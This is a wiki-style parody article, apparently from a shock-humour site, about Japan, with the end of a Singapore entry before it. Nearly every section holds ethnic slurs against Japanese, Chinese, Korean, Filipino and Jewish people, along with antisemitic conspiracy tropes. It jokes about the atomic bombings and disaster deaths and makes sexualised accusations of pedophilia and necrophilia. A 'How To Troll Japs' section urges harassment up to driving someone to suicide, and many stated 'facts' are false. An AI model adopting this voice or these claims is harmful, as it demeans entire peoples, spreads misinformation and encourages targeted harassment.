*[[United Kingdom]]
*[[Hong Kong]]
*[[Israel]]
*[[South Korea]]
*[[Japan]]
*[[Indonesia]]
*[[Taiwan]]
*[[Malaysia]]
*[[Jews]]

==External Links==

<center>{{fv|Singapore!!|background-color: white;|font-weight: bold;|<youtube>ksw2UqTyhhc</youtube>|<youtube>nN829IyRWSc</youtube> '''Friendly Singaporeans'''|<youtube>V4jPtLhOT9M</youtube> '''Friendly Singaporeans'''|<youtube>forcMEgEsno</youtube> '''Friendly Singaporeans'''|<youtube>JoTqRQ29Od8</youtube> '''Goddamned ERP'''|<youtube>FojuOk7DZS8</youtube> '''Mating Habits'''|<youtube>sqoQDZ1vXd0</youtube> '''Education System'''}}</center>

[[Category: Locations]]
{{azn}}
{{commonwealth}}
{{Qing}}
{{Britfags}}
[[Category:Locations]]

Japan

2026-07-23T22:01:28Z

SmidgeX2:

:''"[[Jap]]" redirects here. For [[Jewish]] [[American]] [[Disney|Princess]], see [[Kikes]].''

{{offended}}
{{Gook}}
{{achtung|FORMER JAPANESE PRIME MINISTER <s>GOT</s> WAS SHOT DURING A CAMPAIGN AND WILL SOON BE WORM RIDDEN}}
{{Warning|JAPAN HAS RAISED THE AGE OF CONSENT FROM 13 TO 16}}
{{breakingnews|[https://www.japantimes.co.jp/news/2015/07/15/national/crime-legal/hit-global-criticism-japan-bans-individual-possession-child-porn-images-manga-exempt/#.VaYNdfmqqlQ JAPAN BANS POSSESSION OF CHILD PORN]}}
{{spoilers|JAPANESE MEN COOK THEIR OWN [[Penis|GENITALS]] AND [[HA HA HA, OH WOW|EAT THEM]], JAPANESE DAOYU ISLAND OWNER IS A CORRUPTED [[Pedophile|PEDOPHILE]] CAPITALIST, HIS WIFE TRIED TO [[AN HERO]], AND [[Liar|HE LIED OVER 9000 DOLLARS FROM ALL JAP AND OTAKUS!]]}}

[[File:Crappingoutjapan.jpg|thumb|As always, [[South Korea]] best explains the origin of the Jewpanese Islands.]]
[[File:Japanese family.jpg|thumb|Typical Japanese family]]
[[File:1339001142310.jpg|thumb|The Japs now thank the Atomic Bomb in making their [[Shit|art]] [[Anime|a]] [[Hentai|lot]] [[Guro|better]].]]
[[Image:Japaninanutshell.jpg|thumb|[[Evolution]]]]
[[File:The "shi" creators.jpg|thumb|350px|Japanese with name containing "[[2 girls 1 cup|shi]]", creates great things.]]
[[File:Japanesepenis.gif|thumb|350px|Japanese men have small dicks]]
[[File:norapenobase.jpg|thumb|350px|Japanese women require American Army Dick and will withhold base to get it. No rape? Then no base!]]
'''The Democratic People's Republic of Animestan''' (also known as '''Jewpan''', '''[[Weeaboo]]topia''' and '''Nuclear Testing Site''') or more commonly known [[Politically correct|politically-correct]] as '''Japan''' is a totalitarian fifth-world dystopia on a radioactive wasteland in the Pacific Ocean with less sanity and human rights than even [[Best Korea]]. It is best known for being the inventors of [[anime]] and therefore being the #1 cause of [[Asperger's Syndrome]] on the planet. Their [[Basement-dweller|men]] are autistic [[sick fuck]]s who enjoy raping [[loli|little girls]], and their women are [[Whore|gold-digging]] pathological liars who would rather go marry and scam rich foreigners than fuck their own manchildren back home.

Japan is basically to Asia what [[Israel]] is to the Middle East. Both are ruled by racist criminal mobsters (Yakuza vs Zionist Illuminati) and have a history of both being genocided (Hiroshima and US concentration camps vs Holocaust and German concentration camps) while committing genocide at the same time (Koreans are Japan's Palestinians). Every single nation in Asia (with the sole exception of the Japanese's loyal sex slaves, the [[Philippines|sea niggers]]) hates Japan and would want to erase this microstate of degenerates off the Earth if not for the [[Jewnited States]] giving them military equipment... again just like Israel. Japan's current military is the 9th strongest in the world, but there are some bases that are still [[All Your Base Are Belong To Us|used by Americans]], again, just like Israel. ''And for the last time, just like the Kikes'', the Japs control the Internet media through their use of viral [[meme]]s and [[hentai|degenerate entertainment]], but the Jews at least won't resort to shitty cartoons (unless you're [[MLP|Lauren Faust]]) to mind control half the human population into instant [[retard]]s. Japanese women are also known as [[Hillary Clinton|filthy amoral and borderline-sociopathic]] [[feminists]] who have an obsession with your [[Jew Gold]] and will only date you so that she can blackmail you for money (e.g. the Chikan false rape accusations) then Hannibal-Lecter you into suicide. Wonder if all Japs need a massive nose to pass them off as kikes.

[[File:Russian roullete.jpg|thumb|350px|For the record, some toys from Japan look like this]]

Japan is a perfect example of [[b/|"not-as-good-as-it-used-to-be."]] Before being raped by the atom bomb, Japan was busy doing just that to [[Ireland|inferior countries]], but with a Katana instead of the mighty power of the atom. After the USA's rampage, however, it degraded into what you see now. Most of Japan's population has [[aspergers]] caused by the radioactive [[PWNED|bombs we dropped on their asses]]. That—combined with the fact that every Japanese man, woman, and child is on [[crack]]—explains why everything Japan makes is so fucking weird. But somehow, Japan loves [[Germany]]: the whores want to suck Hitler's dick while he himself called them honorary Aryans. The most plausible theory on why [[Hitler]] could love who amounts to Asian Jews is because the Japanese used to be a bunch of strict decent honorable and civilized humans until a [[Albert Einstein|Jewish aspie]] invented the nuke [[IDIFTL|for Science]] and therefore spread his radiation upon the entire Japanese population, mutating them all into the Aspie Jews they are today.

Japan is known for being the country with the lowest calculated crime rate in the entire universe. Which isn't that surprising when you think about it, since Japan doesn't count drug dealing, prostitution, necrophilia, pedophilia, weapon dealing, extortion, blackmail, cannibalism, male rape, and Yakuza (Japanese impersonators of Elvis) gang wars as "crimes".

Japs rarely exceed 150 cm in height. Most Japs would much rather be white, and some undergo limited ''caucasiaplasty'' to this end. Also, since they [[Pro-Ana|have a very light diet]], the vast majority of Japanese [[wimmins]] have no [[tits]]. The few who have large tits end up as [[whores]], which explains why porn of titted Japs exists. Theoretically, this could be solved with a little whale milk, but since they [[Whale Wars|kill whales]] just to be [[conservative]], they produce a nice duality, as an endangered Pacific string bean that's good for nothing and an endangered Pacific tub of lard that's good for nothing.

To their credit, they create good cameras and televisions and have invented flash memory that is used in USB sticks.

{{archive|zF8JL|An expert describes why Japan is so full of fail (TL;DR)}}

[[Image:Anti-jp.jpg|thumb|Bestselling Sign in Asia.]]

==[[World War II|History]]==
Japan was founded at least 100 years ago during the time of Adam and Eve and the dinosaurs, way before Jesus. The first emperor of Japan was Jimmu, crowned in 600BC. The most famous emperor of Japan was Hirohito (Showa).

[[Image:Hiroshima_bomb.jpg|thumb|left|pwnt]]
[[Image:Japanese Woman cuts off Chinese penis.gif|thumb|Japanese conducted torture and mass experiments on Chinese during [[World War II]], and their women castrated the entire Chinese male population. Here a Japanese woman cuts off a [[Chinese]] man's [[penis]].]]

{{quote|It really surprised me that the Japanese sided with the Nazis during World War II. They're usually so polite.}} 

After having messy [[buttsecks]] with [[Hitler]], Emperor Hirohito sent his buttboy, Tojo, and troops into Korea to buy Tamagotchis. The Japanese soldiers proceeded to rape, pillage and [[bukkake]] the Koreans and Chinese to near-annihilation. Afterwards, the Jap troops then proceeded to fuck the corpses of the women they killed.

President Roosevelt sent a telegram to Hirohito requesting [[buttsecks]] too, but due to a mis-translation, the Japanese flew over Pearl Harbour and sunk a few battleships by dropping Mitsubishis and Pocky from their Gundams.

Your grandmother decided it was a good idea to build some bullets and bombs, but the United States needed someone to test the bombs on, and who better than a bunch of antagonistic slopes? [[Americunts]] considered fighting them hand to hand, but decided Japs weren't even worth the time. [[truth|The nukes were a most practical and efficient way]]. So Truman [[and nothing of value was lost|pwned the fuck out of Hiroshima on August 6th, 1945.]] But that cunt Tojo wouldn't surrender. To shut Japan the fuck up, Truman [[pwnt|bombed]] [[Shit no one cares about|Nagasaki]] three days later, [[for the lulz]].

Japan surrendered, and to this day have been the bitch of the [[America|USA]].

Fun Fact: The Epicness of the bombings would continue to show for years to come as [[over 9000|hundreds of thousands]] of civilians died from [[Epic Win|horrifying radiation poisoning, hideous mutations]] and other shit nobody cares about, except for Koreans who rightfully point and laugh every chance they get.
[[Image:typical_japfag.jpg|thumb|left|Typical japfag]]

==The Japanese are an Endangered Species==

[[File:Rapistgook.png|thumb|left|The [[typical]] Japanese salaryman, a lowly degenerate pedophile with no concept of morals.]]
[[Image:Jap_pop_chart.png‎|thumb|100px|The Japanese: an Endangered Species]]
[[File:Sumo Love.jpg|thumb|Why Japs don't have sex]]
[[Image:Autojerker.jpg|thumb|Also why Japs don't have sex]]
[[File:1071358018863.jpg|thumb|They literally never have sex]]
[[File:Friendmaker.png|185px|right]]

With poetry skills to rival even the most hardened [[emo]], Japan was once the world's foremost macho culture. Big mustaches, leather clothes, manly sex between friends in bath houses—it was all there. Nippon is also the land of the Hot Babe. In Japan, the streets teem with the same seething, supple-limbed female honeys for which the Land of the Rising Sun has always been famous -- ''and each and every one of them longs for a real man to [[guro|Put It To Her]] the good old fashioned way''.

That is, until the Kikes and their [[America|imperialist]] [[England|ambitions]] came. The Kikes wanted to fuck all of the hot wahmen, only to find angry Samurai ready to chop their dicks off for trying. So, they turned to using Britain to bankrupt China during the Opium wars. Japan, not wanting to be bankrupted by Jew degeneracy as China was, became best friends with [[Hitler]]- a man who [[Weeaboo| admired them as Honorary Aryans with better culture than his own German race]]. Because of this, the Jewnited States dropped the nuke of retardation that changed Japan forever.

[[truth|It is a proven fact that the only real men left in Japan were killed in WWII and as a result, the Japs are not even having enough children to make up for the annual number of deaths: they are an endangered species]] [see chart -- yes, it's for real]. They are now forced to import [[Niggers|Filipinos]] in a vain attempt to make up the difference.

Now all the men in Japan look like women and [[gay|actively play the part]]. Instead of boning the most fabulous babes on earth and breeding a new generation of ass-whipping samurai, these quasi-men prefer whacking off to cartoon characters getting their heads eaten, playing with toys, and spending hours at a time in deep ass play.

One of the contributing factors of the population decline is that of all of Chinks, modern Japanese men have the smallest penises(notice how all of the japs in this article have micro dicks). As a result, Japanese girls have become ruthless feminist gold diggers who will only use the men for money then leave them to die off once they have outlived their usefulness. But despite being feminists Japanese women crave the slightly bigger White cock or the [[lie|giant]] [[The Great Black Dick Hoax|Black Cock]] and are completely submissive to [[White]] and Black men. Yes, even though the Japanese are famously [[racist]] against {{wayback|http://nsjap.net/|20050628013438|title=every other race}}, this need not rule out even the spottiest [[Ginger|Irish]] or fattest American [[Star Trek]] geek as long as they have the cash and/or cock they want.

The men, due to brain cancer and mental retardation caused by the radiation, became [[sick fuck]] necrophiliacs that like to kill and rape female corpses and masturbate to schoolgirls in thigh-high socks getting strangled with their own entrails. Even Japan knows that [http://www.sankakucomplex.com/2011/01/13/third-of-young-japanese-men-hate-sex/ 1/3 of Japanese men hate sex] and thus because of [[Kike|Einstein]], it has always been this way.

[[Pedophilia]], like guro and necrophilia, is not only accepted in Japan, but also compulsory. The '''{{archive|oBrB|age of consent in Japan}}''' is 13, but usually it actually happens around the age of six. [[At least 100|110%]] of Japanese men are pedofags. [[CP]] is the leading export of Japan and they plan to spread it across the world. Many students have open relationships with their teachers and when the Japs heard that the teachers, coaches and priests from Jewmerica back in early 2000s were molesting little children, their response was "We can do better than that." None of this helps the birth rate, however because these cowardly microdick fucks don't have the balls to fuck a fertile adult or teen bitch. Their birth rates continue to drop and if we're lucky enough to see <s>Susanowo</s> Poseidon throw another lulzy tsunami at these tojos, this entire country of degenerates is expected to die out by 2030.

==FFFUUUCHKA YOUU WWAAAHLEEARU !!!!!!!!!==
:''For more details, see: [[Whale Wars]]''
[[Image:Japan Australia whaling.jpg|thumb|left|100px|Japan vs Australia in countryball form.]]
Japan's favorite pastime, other than [[bukkake]], raping corpses, and working until their eyes and brain bleed from not sleeping, is viciously slaying the evil whale and/or dolphin menace. In fact the whole reason behind their space program is so they can be [[Futurama|whalers on the moon]].

[[Last Thursday]], the [[Australia|Australian]] government asked Japan to stop <s>whaling</s> [[beastiality|harvesting whales for science]] in Australian Antarctic waters, because you should only kill endangered species in your own country.

[[BAWWW|Being a teeny-tiny bit sensitive to criticism]], Japanese [[JewTube|YouTubers]] and their [[Wapanese|sympathizers]] proceeded to hurl every bizarre insult at Australia that they could think of through the medium of KikeTube comments and [[TL;DW]] videos—in [[Engrish|hilariously broken English]]. It would appear that Australia only cares about animals that look cute—they are [[lolwut|kangaroo-killing hypocrites]], who want to destroy the Japanese culture like they did to the [[Aboriginals]]. This is totally OK.

How Aussies telling the Japs to GTFO of THEIR waters will stop them is unclear at this point. But much like the Chinese civilians after the last Japanese invasion of China, the Aussies are clearly [[asking for it|asking for a decapitated-neckhole rapin’]].

Most Aussies won't argue that whaling is better than the Japanese soldiers [[vore|eating]] prisoners of war. [[Wikipedia:Japanese war crimes#Cannibalism|Read all about it!]] (Also note how long the list of war-crimes is.)

==[[Japan Crisis of 2011|Lulzy Earthquakes]]==

[[Last Thursday]] Japan was hit by a [[Hæti|huge earthquake]] of [[over 9000]] magnitude. This, of course, is not surprising because Japan is about as prone to natural disasters (magnified by their own [[derp|retardation ]]) as [[Africa]] is to [[AIDS]]. To amplify the mental retardation, they built nuclear reactors close to the shoreline. Oh Japan, you so craaaaazy.

What is surprising, however, is that one of the world's richest nations has completely failed to prepare for this inevitable pwning by GodJesus and as a result, civilized countries like [[Isreal]] and the U.S. must lend the Japanese tree fiddy, so that they can rebuild all the animu studios and child sex factories destroyed by the disaster.

The earthquake did however, kill thousands of Japs. This granted those Japs their sexual fantasies and their radioactive corpses served as the sex toys for the survivng Japanese. Rumor has it that some of the Japanese are still skull-fucking their bones today.

[[Image:Nuclear Simpsons.jpg|thumb|Where off switch?]]

[[Image:Japantsunami.jpg|thumb|Pwnt by a tsunami minutes after being pwnt by an earthquake and then getting pwnt by radiation]]

==[[Wapanese|Japanophiles]]==

[[Image:Cosplay.jpg|thumb|Every [[cosplay]]er ever]]
[[Image:Wtf_Japanese_butt_gun.gif|thumb|Japanese technology is being adapted to deter rapists and [[Weeaboo]]s]]

The purest form of [[faggotry]]...

[[Weeaboos|Japanophiles]] are [[White|western people]] who love everything to do with Japan, even the [[creepy]] shit, like the coin-operated panty dispensers and [[ganguro|blackfaced, autistically screeching wahmen]]. They are usually [[fat]] and [[Basement dweller|socially inept]] (male), or fat and [[retard|delusional about their looks]] (female) and can be identified by their ''[[Cowboy Bebop]]'' ([[Naruto]] [[lie|is the new coolect animu evar that will still be popular in 100 years!]]) wallscrolls, appreciation for [[J-pop]] and insistence on [[cosplay]]ing. Not to mention walking around the city with a fucking [[Pocky]] sticking out of the mouth. Many [[Wapanese|Japanophiles]] are to be found at Colleges such as Earlham and Oberlin, where they form [[anime]] clubs and dress up like [[furfags|retarded faggy space elves with fox ears and capes]].

Japanophilia is not to be confused with [[pedophilia]], as there are several key differences. For example, [[ohbutyouwillpet|pedophiles]] are obsessed with making love to children whereas [[Applemilk1988|weeaboos]] are obsessed with <s>Anime</s> degeneracy, writing with chopsticks, [[Bittorrent|downloading gigabytes]] of [[hentai]] and annoying the fuck out of you at parties by [[TL;DR|talking at length]] about their [[Bullshit|interpretation]] of ''[[Neon Genesis Evangelion]]''. Both, however, masturbate over [[Lolicon|pictures of schoolgirls]].

Weebfags do not reproduce by [[Secks|conventional means]]; most die as [[virgin]]s and those that do not are usually imprisoned for [[rape]]. Instead, they use the [[internet]] to influence vulnerable teenagers to watch episodes of ''[[Animu|Trigun]]'' before leading them on to the [[Erection|harder]] (and [[Computer Science III|less comprehensible]]) [[Crap|stuff]]. Soon the [[anime]] [[meme]] has infected the poor teen's [[brain]] and he has become a mindless Japanophile too.

The Japanophile's life cycle can end three ways; either dying an elderly virgin surrounded by small plastic figurines that cost hundreds of dollars each, being raped to death in prison (oh, [[teh]] [[irony]]!) or committing [[Suicide|IRL self-pwnage]] after arriving at Japan and discovering that it's not full of enormously-breasted women who want to sleep with pasty, gaijin lardballs. The [[NOVA|last words]] of the latter Japanophiles are usually "[[Megatokyo]] lied to me..."

FUN FACT: [[irony|Converse to how Weeaboos dry hump anything to do with Japanese culture, western culture is actually popular among Japanese teenagers]]. Proof of this is displayed with how many Japs dye their hair blonde and speak English.

==Japanese Language==
[[Image:Commit Sudoku.png|thumb|400 px|<s>Seppuku</s> SUDOKU!]]
[[Moonspeak|Japanese]] is a language learned by [[Weeaboos|retards]] affected by severe [[Filthy Frank|Pink Guy Disease]] who claim that they're learning it because they "enjoy Japanese culture" when they're actually enjoying [[Animu|anime]]. The "Japanese culture" they enjoy learnin' about can also involve Japan's most dark stuff, like Shintoism/Buddhism and other false gods, ritualistic suicide, Unit 731 (a chemical/biological warfare research unit in a Japanese puppet state), and of course, ''all those damn earthquakes, floods, and other weather shit.''

For their years of rigorous training, Japanese language teachers get to instruct unmotivated American teenagers with [[Filthy Frank|Pink Guy Disease]] and/or [[Acute Cultural Conformist Syndrome]] in the basics again and again while one half writes ''[[Ouran High School Host Club]]/[[Harry Potter]]'' [[crossover]] [[fanfiction]] in class and the other watches the latest fan-subbed ninja fan-service anime on their [[mac|$2,000 laptops]]. Even though a tiny percentage actually finish the course, they have no real use for it other than fansubbing [[anime]] or re-translating a ''[[Final Fantasy]]'' game. If you're hopeful, ''at least'' a very tiny amount of those weens will cheerfully master Japanese to work as humble, cheerful overseas protestant Christian pastors, '''as only 1% of Japs in the ENTIRE NATION claim to be Christians. This is absolutely true.'''

[[fail|This is a worthwhile use of their time since at least 99.05% of American translators are close-minded]] [[Elite|Worldwide Tech Oligarchy]] supporting, marxist AmeriKKKans who are unable to understand the elevated cultural value of Japanese children's cartoons]]. As strange as it sounds, the last sentence is not irony. No, it's just stupid.
[[Image:Google_Translate_Engrish.png|thumb|341 px|[[Google]] Transrate fails, defaults to [[Engrish]]]]
In addition to speaking their [[Moonspeak|native tongue]], the Japanese also speak an interesting language called [[Engrish]], which can be seen on many slave-produced billboards and products.Their writing system consists of over 9000 brain-exploding, complicated symbols stolen from [[Taiwan|Tiny China]] by anime [[pirates]]; only a few simplified ones are used in their alphabet, and naturally took on the appearance of destructive whaling harpoons, deadly katanas and morally toxic dildos of all kinds/every dildo known to men.

In the video section, please to find a Demo of their so called... ":*(&^%$^ENGRISH^$%^&)*:" It has an accurate subtitle...

===How to get around in Japan===
[[Image:Japanese period.jpg|thumb|150px|Japanese Flag]]
Since we at ED care about your Japanese experience, we've collected some useful Japanese phrases you can use when you meet a Jap!

*''Boku/Pocky wa _________'' - My name is ________.
*''Kyokon dii~rudo wo tabetai'' - I would like to eat some delicious cake.
*''Sono shimbun wo kaimashita'' - I am not fluent in Japanese, can we speak English?
*''Kimi no imouto wo reipu shitai'' - Please take a seat over there...
*''Anime wo mitari, manga wo yondari shitai'' - I want to do things like watch anime and read manga.
*''DESU DESU DESU DESU DESU'' - I am not a Weaboo, now will you stop looking at me like that?
*''Chin-chin wo namesaseruzo'' - Problem, officer?

==How To Troll Japs==
[[Image:orangebear.jpg|thumb|right|160px|[[Serious business|Yeah]].]]
[[File:Neko Cock.gif|thumb|Beckoning.]]

In what could be one of the most hilarious cases of Irony of all time, the most expertised in trolling the Japanese, are in fact, their own demonspawn, the [[weeaboo]]s, even if they aren't doing it intentionally. The Japanese want to present themselves to the world as civilized strict people and do this by shunning NEETs (euphemism for [[aspie]]s) and putting them in mental hospitals but once a fat wapanese dressed in a Sailor Moon costume and smells of Pocky lands shouting "BAKASUGOIKAWAIIDESUNE" everywhere and raiding used Japanese schoolgirls' panties, the masquerate of discipline is shattered and reveals Japan for the aspie-infested [[lolcow|laughing stock of the world]] that it is. This is why, if you ever meet a person who is decently mannered and seems normal, but reveals he is in fact Japanese, then binge yourself on [[4chan]], [[TV Tropes]], [[Pokemon]] and the most disgusting Hentai you can ever find on the Internet, inform everyone of the truth and in front of the Jap reenact everything in a barrage of Sugoikawaiibakadesune ala [[Chris-chan]] on steroids. With everyone knowing that this disgusting autistic shit is Japanese Culture, he will definitely be humiliated forever and possibly bullied to [[suicide|harakiri]].

Of course, using this tactic is like a Palestinian strapping a suicide bomb upon himself to kill Kikes, since if your audience is too short-sighted then they may assume you, not him, as the aspie. There are less effective, but safer methods, however.

*Say anything good about Korea (both Koreas), anything at all.
*Say that Zettai ryouiki is [[overrated]]. (Really it is)
*Tell them how Dokdo and Diaoyu are parts of Korea and China, Iturup, Kunashir, Shikotan are parts of Russia and "Takeshima" & "Senkaku" are just [[pussy]] land grabs.
*If you're a female, don't wear thigh-high socks, pantyhose, or other hosiery. Japs are Arabs with legs and despise uncovered legs with a fiery hate. Going bare-legged to the Japanese is considered the ultimate blasphemy and worse than murder. They will kill any girl that doesn't and rape her corpse.
*If you produce hentai, never draw any character wearing thigh-high socks, pantyhose, or other hosiery. (WARNING, you might get killed.) If you're Japanese doing this will be considered the highest of highest treason in Japan.
*Tell them that Hiroshima and Nagasaki were the happiest moments of the HUMAN race. Yes, Japs are retarded evil monkeys designed by [[Xenu]]
*Tell the Japanese that they are now America's economic bottom bitch despite the fact that they are one of the most wealthy nations in the world. That's what they deserved for trying to over-expand their borders during WWII and then getting pwned by Amurika!
*Spell the Japanese capital with an 'i' instead of a 'y'.
*Post a picture of a nuclear explosion with the caption "[[pwnd]]".
*Post a picture of Japanese internment camps with the caption "[[pwnd]]". For more lulz, praise Michelle Malkin's book of Japanese internment.
*Deliberately confuse them with [[Korea|Gooks]].
*Talk to them in Korean or Chinese, and expect them to understand you completely.
*Say karaoke is Korean.
*Call them "Japs", "[[Azn]]", or [[Pokemon|Pokeymanz]].
*Show 'em this (although they might fap to it):
 
<center>{{frame|<youtube>sOFg8oWMHRM</youtube>
<center>'''So [[kawaii]], amirite?'''}}</center>
 
*Produce hentai without Zettai ryouiki (and all other hosiery and thighhigh legwear) AND without death, guro, and snuff.
*Say that you learned Japanese tradition through [[anime]].
*Tell them that China can invade Japan at any time.
*Tell them that North Korea can Nuke them at any time.
*Brought up any atrocities they committed during WW2 Such as the Nanjing massacre, If they told you that they deserve it, brought up all the Jap wahmen the Americunts and the Ruskies raped during the occupation or any of the atrocities the Soviets committed against them and ask them if they deserve it as well. bonus point if they rage quitted and blocked you.
*Remind them if it wasn't for the Americunts, they would've been a province of China or Russia by now.
*Never use png image format. (Like their hentai, oversized things arouse them)
*Post a low-res picture of Japan being ejaculated upon by multiple high-res penises.
*Mention that they come from Korea and everything in their culture is Korean.
*Tell them that they originate in Southeast Asia.
*Walk by a schoolgirl.
*Then tell them what retards they are for going all "dumbshit fantard" over some shitty Jpop singer for no other reason than that he's Japanese.
*Upload a ton of Jap-made mods for Japanese games up for free downloading. The more uploaded for download, the better. MikuMikudance is a perfect example because the MMD community treats the game and themselves as some sort of fucking secret club. Often times on the few downloads they offer they put secret passwords on them. And so they get really pissed off about MMD stuff being shared (as well as passwords and links). [[Irony|They especially get mad when R18 models and videos are made.]] And make them easy and convenient to download; that will surely enrage the retarded Japs.
*Tell them that you don't like snuff and guro
*Tell them that there is no such thing as a pure Japanese.
*Tell them that they came from [[Jews|the Kikes]], especially since the degenerate Kikes have influence in their government.
*Tell them you like [[Godzilla|Godzilla]]
*Mention the war crimes commited by their military in WWII.

==Brutally True Facts==

[[File:Meanwhile in Japan.png|thumb|One of the most popular [[sport]]s in Japan.]]
[[File:Horyshit.jpg|thumb|Japanese man at work]]

*All Japanese citizens have [[Ass Burgers]], and most of them are [[weird|introverts]].
*[[Pink Guy Disease]] has become such an epidemic in Japan, that all Japanese infants are mandated to be screened by domestic therapists and doctors for [[autism|the tisms'.]]
*PGD sufferers in Japan spend their whole childhoods in dirty, worn-down, [[liberalism|leftist]] [[retarded|Special Sylum's]] or self-contained leftist classrooms, and are left without meaningful jobs when they become adults (other than manufacturing your [[anime|slave-made animu merchandise and figures]]).
*'''[[Filthy Frank|Pink Guy]] Disease has increased in Japan over 933%''' due to the introduction of [[minimalism|Flat Design]], Otaku tourism, and [[YouTube Kids]] and all its vile platforms orchestrated by that [[Hollywood|globalist, fascist Hollywood corp]] called [[YouTube]].
*All Japanese citizens are on [[crack]] in AT LEAST SOME KIND OF FORM, from colorful Konpeito candies to actual [[Venezuela|Venezuelan]] cocaine. This fact brought to you by ED's own Japanese editor, [[Kazuhiro]].
*All male Japanese are either [[drag queens]] or [[transexuals]] or [[80 year old Chinese man in panties|perverted old]] basement dwellers who sell hentai doujins. It's now almost impossible to find good, moral male Japs who are still alive (and sell pure, non-perv thingies, like [[candy|candied vegetables]] or [[Spongebob Rectal Thermometer|singing battery-operated herbal suppositories]]).
*All Japanese politician's are controlled by socialist fascist Yakuza. Also, it is legal to impersonate Yakuza in Japan.
*All male Japanese are omega as fuck ('''due to a lack of good manly male jobs''' in Wapan-Warudo/World for them) and only get their pieces of strawberry-flavored bum-bum from sex dolls, pillows with their favorite characters printed on them, and corpses from ritualistic Buddhist/Shinto behaviours.
*All female Japanese [[Cockmongler|love great white cock]] and suffer from either [[depression]] or [[megalomania]]. '''If a Japanese mom's kid turns out disabled for whatever reason''' ([[weeaboo|down syndrome]], [[asperger's syndrome|the tisms']], [[Shaye Saint John|traumatic bodily injury from a Shinkansen train accident]] or whatnot), '''her effeminate husband gets divorced and she becomes single.'''
*Japan is known for its [[socialism|socialistic]] ways disguised as [[capitalism]]. In fact, a Jap will do just about anything for a few bucks, including loving you long time for $10 <s>(that's [[Vietnam]] dumbass)</s> (they'll do it too, faggot). If they refuse, threaten to nuke their Chinese cookware and ugly minimalist bedrooms with some Splatoon paint guns smuggled from North Korea. That always works.
*In [[Alternative Medicine|Japanese medicine]], all drugs and most cures are [[in the ass|suppositories]]. Anybody who takes a Japanese drug, simply because it's [[weeaboo|Japanese]], is therefore a douche.
*[[4chan]] was inspired by a Japanese imageboard. Absolutely True!
*Japan's [[mainstream]] [[liberal]] [[tartlets]] are just like [[social justice warriors]], and they will GO APESHIT if they find out you're a [[Republican]]. If so, threaten to nuke their ugly minimalist bedrooms a third time.
*99% of all Japanese people are necrophiliacs and guro-fetishists. This expains why they obsess over some [[Puella Magi Madoka Magica|magical girl in agony getting her head eaten off by a pedophillic clown]]. As they used to say during World War 2, "Dead girls and gore make a Jappy's fappy happy!"
*Japs are like arabs, only they want the legs covered at all times. Girls in Japan who are found going bare-legged (even when bathing and swimming) face torture, death, and having their corpse raped. Anime/manga/hentai producers (even if they're not Japanese) will suffer the same fate if they don't draw thighhigh socks (regardless of gender). Liking and drawing bare-legs, going bare-legged, not liking/not drawing stockings/thighhighs/hosiery are considered by the Japanese to be the worst crimes. In Japan, people who prefer bare-legs are hated like anti-tax people are hated in the US; worse than terrorists. Japanese despise bare legs.
*Japs love [[Americunts]] when comparing other Chinks, but hate weeaboos. Yet they hate Americans for the two [[epic]] bombs that they dropped on two shitty villages that started a chain of faggotry in Japan. Basically these two-faced, double-standard cunts hate everyone.
*Japanese think their religion is [[J-pop|Ayumi Hamasaki]] cause there's truly no other way to explain [https://tokyofashion.com/ayumi-hamasaki-fan-cars-in-tokyo/ this.]
*Japs love eating literal shit and anything they can find like insects '''{{ytlink|Nl9x8412W2U|Srsly}}'''. [[Some argue|Some believe]] this is a result of the radioactive materials that have been released since the Japan Crisis of 2011.
*The Japanese descend from deported criminals and chicken fuckers from numerous Central and East Asian countries. [[shit_nobody_cares_about|The Ainu are the original inhabitants of the Japanese archipelago and were raped and murdered off their land into the most northern tip of Japan.]] Also, ten lost tribes of Jews from Israel went there and interbred with the Japanese. After the mighty nuke of retardation was dropped, the Japanese have finished their full transformation into Autistic Jews.
 
{{center|
{{frame|
{{videoframe|nippon|font-weight: bold;|
|<youtube>97KKioTCJvw</youtube>
;Explanation of dating etiquette in Japan
|<youtube>7G46YMyQjBY</youtube>
;Japanese Pastime.
|<youtube>yGvJZpkO3J8</youtube>
;Japan's traditional sport.
|<youtube>7_p0qAIuHdE</youtube>
;Another Japanese invention
|<youtube>4ua64HbsBUo</youtube>
;Japan can be [[awesome]] sometimes.}}
|}}
}}
 
==<s>Senkaku Islands</s> Daoyu Islands==

Just last thursday, a big dramafest emerged between the chinks and the Japs for a set of small, useless pseudo-islands. Some stupid redneck chinks being the patriots they are, boarded the Daoyu island (also known as fishing island, pretty shitty name) and got pwned by Japan's sea tactic known as "double penetrations". The chinks were then arrested and got buttraped in Japan tentacle prison (truth reveal, the owner of the island is a Jew. Like Josef Fritzl, he put the bitches in the kitchens while trolling all other chinks outside the island).

The chinks then responded by burning Japanese cars, boycotting Japanese products, and chink-chimping. [[Wikipedia]] was no alien to that drama, [https://en.wikipedia.org/w/index.php?title=Senkaku_Islands&action=history providing a nice dose of butthurt and lulz].

== Gallery ==
 
{{cg|Kawaii|Japan Gallery|center|<gallery perrow="5">
Image:Japan I Love You-small.png|The Japanese: Masters of the written word.
File:Beef rectum.jpg|
Image:Boob swords.gif
Image:Jap mouth-legs.gif
Image:Bloody Japanese porn.gif
</gallery>|<gallery perrow="5">
Image:Bikinicaca.jpg|Nothing is quite as satisfying as shitting one's bikini
Image:Kawaiidesu.jpg
Image:JapanWeird.jpg
Image:japan.jpg
Image:RisingSUN.jpg
Image:Japanese vending machine.gif|Japs are so necrophiliac they have vending machines with dead girls in them.
Image:64nowayisthisreal1.jpg
Image:Snail-girl-lol-japan.jpg
Image:Jap cum bath.gif
Image:Taste Test.jpg
Image:Japanese menu.gif
Image:Crab jap.gif
Image:Jap dentist.jpg
Image:Jap vag.gif
Image:Japanese ambulance.gif
Image:Japanese blowjob.gif
File:Gaysexlol.jpg|Fuckin' Faggets
Image:Japanese Porn.jpeg
Image:Typical Jap.gif
Image:Jap forehead.gif
File:Japan8833.jpg
File:Nuke Sizes.jpg
Image:Jap erection.gif
Image:Japanese van.jpg
File:Neverquitanempire.jpg
Image:Japanese porn.jpg
Image:WTF Japan.jpg
Image:Akihabara Rail Mechanophilia.jpg
Image:Sumo-fighters.JPG|GET IN MAH BELLY!
Image:Sliding Jap.gif|Just your average Japanese sport
Image:FA-Godzilla.jpg|Japan's most famous resident
Image:Dongs france vs usa vs japan.jpg|[[lie|Of course French guys have larger dicks than Americunts]]. [[butthurt|Too bad America STILL won the war.]] Also, [[fact|Frenchie likes German cock up the ass.]]
Image:JAPAN.gif
